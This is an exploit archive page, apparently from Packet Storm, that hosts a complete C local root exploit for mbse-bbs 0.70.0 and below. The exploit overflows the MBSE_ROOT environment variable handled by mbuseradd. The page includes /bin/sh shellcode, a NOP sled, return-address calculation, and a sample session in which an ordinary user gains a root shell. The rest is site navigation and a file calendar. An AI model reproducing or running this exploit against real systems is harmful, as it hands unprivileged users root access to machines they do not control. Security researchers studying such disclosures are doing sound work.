what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

prdelka-vs-GNU-mbsebbs.c

prdelka-vs-GNU-mbsebbs.c
Posted Jan 20, 2007
Authored by prdelka | Site prdelka.blackart.org.uk

GNU/Linux mbse-bbs versions 0.70.0 and below local root exploit that makes use of a stack overflow.

tags | exploit, overflow, local, root
systems | linux
SHA-256 | b9b6c8e90f30995598ab9252882b6e7bfe68361174d80d1b09bb34e24378764c

prdelka-vs-GNU-mbsebbs.c

Change Mirror Download
/* GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit
* ========================================================
* Multiple overflow conditions occur within mbse-bbs versions 0.70.0 & below.
* The current version of mbse-bbs does not contain these weaknesses.
* Exploitation of these vulnerabilities can facilitate a privilege escalation
* attack in which an unprivileged user becomes root. Exploit calculates
* return address where ASLR is not in use. Vulnerable code is shown below;
*
* matthew@localhost ~/foo/mbsebbs-0.70.0/unix $ cat -n mbuseradd.c
* ...
* 177 shell = calloc(PATH_MAX, sizeof(char));
* ...
* 228 sprintf(shell, "%s/bin/mbsebbs", getenv("MBSE_ROOT"));
*
* (heap corruption in 0.33.17/stack overflow in others).
* *** glibc detected *** free(): invalid next size (normal): 0x0804e068 ***
*
* Example Usage.
* matthew@localhost ~ $ id
* uid=1000(matthew) gid=100(users) groups=10(wheel),100(users)
* matthew@localhost ~ $ ./prdelka-vs-GNU-mbsebbs /opt/mbse/bin/mbuseradd
* [ GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit
* [ Using return address 0xbfffefd8
* sh-3.1# id
* uid=0(root) gid=1(bin) groups=10(wheel),100(users)
*
* - prdelka
*/
#include <stdio.h>
#include <stdlib.h>

char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xc0\x50\x68""//sh""\x68""/bin""\x89\xe3"
"\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80";

int main(int argc,char* argv[]) {
int i;
long eip = 0x41414141;
char envh[]="MBSE_ROOT=";
printf("[ GNU/Linux mbse-bbs 0.70.0 & below stack overflow exploit\n");
if(argc < 2) {
printf("Error: [path]\n");
exit(0);
}
char* buffer = malloc(strlen(envh) + 4062 + sizeof(eip));
memset(buffer,0,strlen(envh) + 4062 + sizeof(eip));
strcpy(buffer,envh);
long ptr = (long)buffer;
for(i = 1;i <= 4061;i++){
strncat(buffer,"A",1);
}
ptr = ptr + 4061;
memcpy((char*)ptr,(char*)&eip,4);
eip = 0xc0000000 -4 -strlen(argv[1]) -1 -strlen(buffer) -1 -strlen(shellcode) -1;
memcpy((char*)ptr,(char*)&eip,4);
char *env[] = {buffer,NULL};
printf("[ Using return address 0x%x\n",eip);
execle(argv[1],argv[1],"x","x","x",shellcode,NULL,env);
exit(0);
}
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    6 Files
  • 28
    May 28th
    12 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close